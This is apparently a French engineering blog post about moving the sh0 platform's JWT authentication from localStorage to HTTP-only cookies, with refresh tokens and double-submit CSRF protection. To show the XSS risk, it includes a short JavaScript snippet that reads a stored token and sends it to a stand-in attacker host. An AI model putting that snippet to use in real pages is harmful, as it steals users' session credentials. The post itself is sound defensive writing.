Back to sh0
sh0

Migration des jetons localStorage vers les cookies HTTP-Only

Comment nous avons migré l'authentification de sh0 des jetons JWT en localStorage vers des cookies HTTP-only avec protection CSRF en double soumission.

Juste A. Gnimavo (Thales) & Claude | March 26, 2026 4 min sh0
EN/ FR/ ES
securitycookiescsrfauthenticationsvelterustweb-security

Pendant les onze premiers jours de construction de sh0.dev, nous stockions les jetons JWT en localStorage. Cela fonctionnait. Le tableau de bord Svelte sauvegardait le jeton à la connexion, l'attachait comme header Bearer à chaque appel API, et le passait comme paramètre de requête pour les connexions WebSocket. Authentification SPA standard, comme l'enseignent des centaines de tutoriels.

C'est aussi fondamentalement non sécurisé.

Au jour douze, notre audit de sécurité a signalé le stockage de jetons en localStorage comme un problème de sévérité moyenne. Au jour dix-sept, nous l'avons entièrement arraché et remplacé par des cookies HTTP-only, un flux de jeton de rafraîchissement et une protection CSRF en double soumission.


Pourquoi les jetons localStorage sont un problème

Le problème est simple : tout JavaScript s'exécutant sur votre origine peut lire le localStorage. Si un attaquant trouve une seule vulnérabilité XSS, il peut exécuter :

javascriptconst token = localStorage.getItem('sh0_token');
fetch('https://attacker.com/steal', { method: 'POST', body: token });

Fin de partie. L'attaquant a un JWT valide avec accès API complet.

Les cookies HTTP-only éliminent entièrement ce vecteur d'attaque. Un cookie avec le flag HttpOnly ne peut pas être lu par JavaScript. Le navigateur l'attache automatiquement aux requêtes, mais document.cookie ne retourne rien.


L'architecture des cookies

Nous avons remplacé le JWT unique par trois cookies :

CookieObjectifFlagsExpiration
sh0_accessJeton d'accès JWTHttpOnly, Secure, SameSite=Strict, Path=/api15 minutes
sh0_refreshJeton de rafraîchissementHttpOnly, Secure, SameSite=Strict, Path=/api/auth/refresh30 jours
sh0_csrfJeton CSRF double soumissionSameSite=Strict, Path=/ (lisible par JS)Session

Le jeton d'accès est de courte durée -- 15 minutes au lieu des 7 jours originaux. Quand il expire, le frontend appelle silencieusement /api/auth/refresh.


Protection CSRF en double soumission

Les cookies HTTP-only introduisent un nouveau problème : le CSRF. Nous utilisons le pattern de double soumission de cookie :

  1. À la connexion, le serveur génère un jeton CSRF aléatoire et le place dans le cookie sh0_csrf (lisible par JavaScript)
  2. Le frontend lit ce cookie et inclut sa valeur dans le header X-CSRF-Token à chaque requête modifiant l'état
  3. Le middleware serveur compare la valeur du header X-CSRF-Token avec la valeur du cookie sh0_csrf

Cela fonctionne parce qu'un attaquant cross-origin peut faire envoyer le cookie par le navigateur mais ne peut pas le lire (politique de même origine).


Authentification WebSocket via cookies

L'implémentation WebSocket originale passait le JWT comme paramètre de requête -- visible dans les logs, l'historique du navigateur et les headers Referer. Avec l'auth par cookie, les cookies sont envoyés automatiquement pendant le handshake d'upgrade WebSocket -- pas d'attachement manuel de jeton nécessaire.


Compatibilité ascendante

La migration maintient la compatibilité ascendante via une chaîne de priorité dans l'extracteur AuthUser :

  1. Header Bearer -- outils CLI, intégrations API
  2. Cookie sh0_access -- tableau de bord navigateur
  3. Cookie legacy sh0_session -- anciennes versions du tableau de bord
  4. Clé API -- si la valeur Bearer commence par sh0_

La migration est non cassante. Les scripts CLI existants continuent de fonctionner.


Points clés

  1. Les jetons localStorage sont un anti-pattern. Toute vulnérabilité XSS devient un vol persistant d'identifiants.
  2. Accès de courte durée + rafraîchissement de longue durée est l'architecture correcte.
  3. La protection CSRF est obligatoire avec l'auth par cookie.
  4. L'auth WebSocket appartient aux cookies, pas aux paramètres de requête.
  5. Maintenir la compatibilité ascendante via une chaîne de priorité dans l'extracteur d'auth.

Prochain dans la série : Prévention de l'injection de commandes dans un PaaS.

Share this article:

Responses

Write a response
0/2000
Loading responses...

Related Articles

Thales & Claude thales

Treize agents, quarante-trois minutes : la première session Workflow de Claude Fable 5, et ce qu'un script d'orchestration déterministe change aux builds multi-agents

Un prompt, treize agents, quarante-trois minutes : la première session de production avec Claude Fable 5 et l'outil Workflow de Claude Code a livré un site web de production complet de sept pages plus un endpoint backend de capture de leads, en un seul commit. Le carnet de bord : le script d'orchestration déterministe, le patron d'injection de contrat entre les phases, l'économie par agent du fan-out parallèle, et le suspense de la limite de session que le journal de reprise a transformé en non-événement.

23 min Jun 12, 2026
claude-fable-5claude-codeworkflow-toolmulti-agent +10
Thales & Claude casp

La porte a détecté sa propre dérive : une journée dans CASP avec Claude Fable 5

Nous avons confié au modèle Claude le plus autonome à ce jour les clés de CASP — le CLI open source qui garde les agents de code IA honnêtes face à git — avec l'autorité de rejeter notre propre roadmap. Il a rejeté cinq choses, trouvé deux vrais bugs dans le validateur en le dogfoodant, les a corrigés sous une porte à deux auditeurs, et a laissé casp check entièrement vert sur son propre dépôt pour la première fois. CASP 0.3.0 en est le résultat.

16 min Jun 10, 2026
caspzerosuiteworkflowai-cto +9
Thales & Claude zerosuite

La transplantation du CASP : comment la discipline des six fichiers est passée de Conductor à un ERP transport anti-fraude, ce que la compétence /next ajoute quand l'opérateur tape juste « next », et pourquoi le coût d'une dérive du CASP grimpe quand le projet, c'est l'argent des autres

La discipline du CASP qui a piloté trente-cinq sessions de Conductor est agnostique au produit. Le carnet de bord de sa transplantation sur KASSIA, un ERP transport anti-fraude pour un exploitant de flotte en Côte d'Ivoire : ce qui a migré, ce qui n'a pas migré (le validateur sur mesure — et ce que son absence coûte), ce que la compétence /next ajoute quand l'opérateur tape un seul mot, et là où le CASP s'arrête — le bug de déploiement qu'il ne pouvait pas voir parce qu'il enregistre l'intention, pas la réalité de l'infrastructure.

23 min Jun 8, 2026
kassiaerp-kassia-transport-logistiquezerosuiteCASP +15